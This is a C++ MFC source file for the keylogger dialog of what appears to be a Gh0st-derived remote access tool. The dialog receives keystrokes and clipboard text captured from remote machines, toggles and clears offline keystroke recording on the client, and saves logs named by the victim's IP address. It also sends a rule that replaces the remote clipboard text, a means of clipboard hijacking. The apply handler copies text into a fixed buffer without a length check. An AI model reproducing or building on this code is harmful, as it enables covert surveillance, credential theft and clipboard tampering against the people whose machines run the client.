335 lines
11 KiB
C++
335 lines
11 KiB
C++
// KeyBoardDlg.cpp : implementation file
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include <WinUser.h>
|
||
#include <string>
|
||
#include "KeyBoardDlg.h"
|
||
#include "2015RemoteDlg.h" // GetClientEncoding helper
|
||
|
||
#ifdef _DEBUG
|
||
#define new DEBUG_NEW
|
||
#undef THIS_FILE
|
||
static char THIS_FILE[] = __FILE__;
|
||
#endif
|
||
|
||
#define IDM_ENABLE_OFFLINE 0x0010
|
||
#define IDM_CLEAR_RECORD 0x0011
|
||
#define IDM_SAVE_RECORD 0x0012
|
||
#define SHOW_CLIP_TEXT WM_USER+201
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CKeyBoardDlg dialog
|
||
|
||
#include "common/utf8.h"
|
||
|
||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
||
{
|
||
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
|
||
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
|
||
|
||
// 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。
|
||
// 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。
|
||
// 老客户端只发 2 字节,GetBYTE 越界返回 0,等同 caps=0 -> 走 CP936 兜底,向后兼容。
|
||
WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
|
||
| (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
|
||
if (caps != 0) {
|
||
CString capStr;
|
||
capStr.Format(_T("%04X"), caps);
|
||
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
|
||
}
|
||
if (len >= 4 + sizeof(TextReplace)) {
|
||
m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
|
||
}
|
||
}
|
||
|
||
|
||
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
__super::DoDataExchange(pDX);
|
||
//{{AFX_DATA_MAP(CKeyBoardDlg)
|
||
DDX_Control(pDX, IDC_EDIT, m_edit);
|
||
//}}AFX_DATA_MAP
|
||
DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
|
||
DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
|
||
//{{AFX_MSG_MAP(CKeyBoardDlg)
|
||
ON_WM_SIZE()
|
||
ON_WM_CLOSE()
|
||
ON_WM_SYSCOMMAND()
|
||
//}}AFX_MSG_MAP
|
||
ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
|
||
ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
|
||
END_MESSAGE_MAP()
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CKeyBoardDlg message handlers
|
||
|
||
void CKeyBoardDlg::PostNcDestroy()
|
||
{
|
||
// TODO: Add your specialized code here and/or call the base class
|
||
__super::PostNcDestroy();
|
||
}
|
||
|
||
void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
|
||
CRect rc;
|
||
m_edit.GetWindowRect(&rc);
|
||
ScreenToClient(&rc);
|
||
DWORD style = m_edit.GetStyle();
|
||
DWORD exStyle = m_edit.GetExStyle();
|
||
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
||
UINT ctrlID = m_edit.GetDlgCtrlID();
|
||
m_edit.DestroyWindow();
|
||
HWND hEdit = ::CreateWindowExW(
|
||
exStyle, L"EDIT", L"", style,
|
||
rc.left, rc.top, rc.Width(), rc.Height(),
|
||
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
||
AfxGetInstanceHandle(), NULL);
|
||
m_edit.Attach(hEdit);
|
||
if (hFont)
|
||
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||
}
|
||
|
||
BOOL CKeyBoardDlg::OnInitDialog()
|
||
{
|
||
__super::OnInitDialog();
|
||
|
||
// TODO: Add extra initialization here
|
||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||
|
||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||
if (pSysMenu != NULL) {
|
||
//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
|
||
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
|
||
pSysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)");
|
||
pSysMenu->AppendMenuL(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)");
|
||
pSysMenu->AppendMenuL(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)");
|
||
if (m_bIsOfflineRecord)
|
||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||
}
|
||
|
||
UpdateTitle();
|
||
|
||
// -----------------------------------------------------------------
|
||
// 把 m_edit 重建为 Unicode 类窗口。
|
||
// 工程是 MBCS,MFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便
|
||
// 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
|
||
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
|
||
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
|
||
// -----------------------------------------------------------------
|
||
RebuildEdit(m_edit);
|
||
|
||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||
auto rule = utf8_to_ansi((char*)m_TextRule.param);
|
||
m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
|
||
GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
|
||
|
||
// 通知远程控制端对话框已经打开
|
||
BYTE bToken = COMMAND_NEXT;
|
||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||
|
||
return TRUE; // return TRUE unless you set the focus to a control
|
||
// EXCEPTION: OCX Property Pages should return FALSE
|
||
}
|
||
|
||
|
||
void CKeyBoardDlg::UpdateTitle()
|
||
{
|
||
CString str;
|
||
str.FormatL("%s - 键盘记录", m_IPAddress);
|
||
if (m_bIsOfflineRecord)
|
||
str += _TR(" (离线记录已开启)");
|
||
else
|
||
str += _TR(" (离线记录未开启)");
|
||
SetWindowText(str);
|
||
}
|
||
|
||
void CKeyBoardDlg::OnReceiveComplete()
|
||
{
|
||
switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) {
|
||
case TOKEN_KEYBOARD_DATA:
|
||
AddKeyBoardData();
|
||
break;
|
||
case TOKEN_CLIP_TEXT: {
|
||
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
|
||
if (len == 1) break;
|
||
char* buf = new char[len];
|
||
memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
|
||
PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
|
||
break;
|
||
}
|
||
default:
|
||
return;
|
||
}
|
||
}
|
||
|
||
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
char* buf = (char*)wParam;
|
||
std::string text = utf8_to_ansi(buf);
|
||
SAFE_DELETE_ARRAY(buf);
|
||
m_EditClipText.SetWindowTextA(text.c_str());
|
||
return S_OK;
|
||
}
|
||
|
||
void CKeyBoardDlg::AddKeyBoardData()
|
||
{
|
||
// 最后填上0
|
||
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
||
const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
|
||
if (!utf8 || !utf8[0])
|
||
return;
|
||
|
||
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
|
||
// 注意:m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空;
|
||
// helper 内部通过 peer IP 查主连接获取真正的能力位。
|
||
UINT cp = GetClientEncoding(m_ContextObject);
|
||
int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
|
||
if (wlen <= 1)
|
||
return;
|
||
std::wstring wbuf(wlen - 1, L'\0');
|
||
MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
|
||
|
||
// 全程走 W 版消息直通 Unicode 控件。注意几个坑:
|
||
// 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
|
||
// EM_SCROLLCARET,时序变成 "SetSel→ScrollCaret→ReplaceSel",即
|
||
// 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、
|
||
// 用户手动移动光标后插入位置不对等)。
|
||
// 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度,
|
||
// 不依赖 WM_GETTEXTLENGTH 计算结果。
|
||
// 3) ReplaceSel 后再 ScrollCaret,确保滚到 *新* 末尾。
|
||
HWND hEdit = m_edit.GetSafeHwnd();
|
||
if (!hEdit) return;
|
||
::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
|
||
::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
|
||
::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
|
||
}
|
||
|
||
bool CKeyBoardDlg::SaveRecord()
|
||
{
|
||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().FormatL("_%Y-%m-%d_%H-%M-%S.txt");
|
||
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, _T("TXT(*.txt)|*.txt|"), this);
|
||
if(dlg.DoModal () != IDOK)
|
||
return false;
|
||
|
||
CFile file;
|
||
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
|
||
CString msg;
|
||
msg.FormatL("文件保存失败: %s", dlg.GetPathName().GetString());
|
||
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
|
||
return false;
|
||
}
|
||
|
||
// m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。
|
||
// 这样保存的文件无视服务端 ACP,记事本/VS Code 等都能自动识别。
|
||
int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
|
||
std::wstring wbuf;
|
||
if (wlen > 0) {
|
||
wbuf.resize(wlen);
|
||
::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
|
||
}
|
||
|
||
// UTF-8 BOM
|
||
const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
|
||
file.Write(bom, 3);
|
||
|
||
if (!wbuf.empty()) {
|
||
int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
|
||
NULL, 0, NULL, NULL);
|
||
if (u8len > 0) {
|
||
std::string u8(u8len, '\0');
|
||
WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
|
||
&u8[0], u8len, NULL, NULL);
|
||
file.Write(u8.data(), (UINT)u8.size());
|
||
}
|
||
}
|
||
file.Close();
|
||
|
||
return true;
|
||
}
|
||
|
||
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||
{
|
||
if (nID == IDM_ENABLE_OFFLINE) {
|
||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||
if (pSysMenu != NULL) {
|
||
m_bIsOfflineRecord = !m_bIsOfflineRecord;
|
||
BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
|
||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||
if (m_bIsOfflineRecord)
|
||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||
else
|
||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
|
||
}
|
||
UpdateTitle();
|
||
|
||
} else if (nID == IDM_CLEAR_RECORD) {
|
||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||
m_ContextObject->Send2Client(&bToken, 1);
|
||
// m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换
|
||
::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
|
||
} else if (nID == IDM_SAVE_RECORD) {
|
||
SaveRecord();
|
||
} else {
|
||
__super::OnSysCommand(nID, lParam);
|
||
}
|
||
}
|
||
|
||
void CKeyBoardDlg::ResizeEdit()
|
||
{
|
||
RECT rectClient;
|
||
RECT rectEdit;
|
||
GetClientRect(&rectClient);
|
||
rectEdit.left = 0;
|
||
rectEdit.top = 0;
|
||
rectEdit.right = rectClient.right;
|
||
rectEdit.bottom = rectClient.bottom;
|
||
m_edit.MoveWindow(&rectEdit);
|
||
}
|
||
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
|
||
{
|
||
__super::OnSize(nType, cx, cy);
|
||
|
||
// TODO: Add your message handler code here
|
||
/* if (IsWindowVisible())
|
||
ResizeEdit();
|
||
*/
|
||
}
|
||
|
||
|
||
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
|
||
{
|
||
// TODO: Add your specialized code here and/or call the base class
|
||
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)) {
|
||
return true;
|
||
}
|
||
return __super::PreTranslateMessage(pMsg);
|
||
}
|
||
|
||
void CKeyBoardDlg::OnClose()
|
||
{
|
||
CancelIO();
|
||
// 等待数据处理完毕
|
||
if (IsProcessing()) {
|
||
ShowWindow(SW_HIDE);
|
||
return;
|
||
}
|
||
|
||
DialogBase::OnClose();
|
||
}
|
||
|
||
void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
|
||
{
|
||
CString rule;
|
||
m_EditClipRule.GetWindowTextA(rule);
|
||
auto utf8 = ansi_to_utf8(rule.GetString());
|
||
memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
|
||
m_TextRule.cmd = COMMAND_TEXT_REPLACE;
|
||
m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
|
||
}
|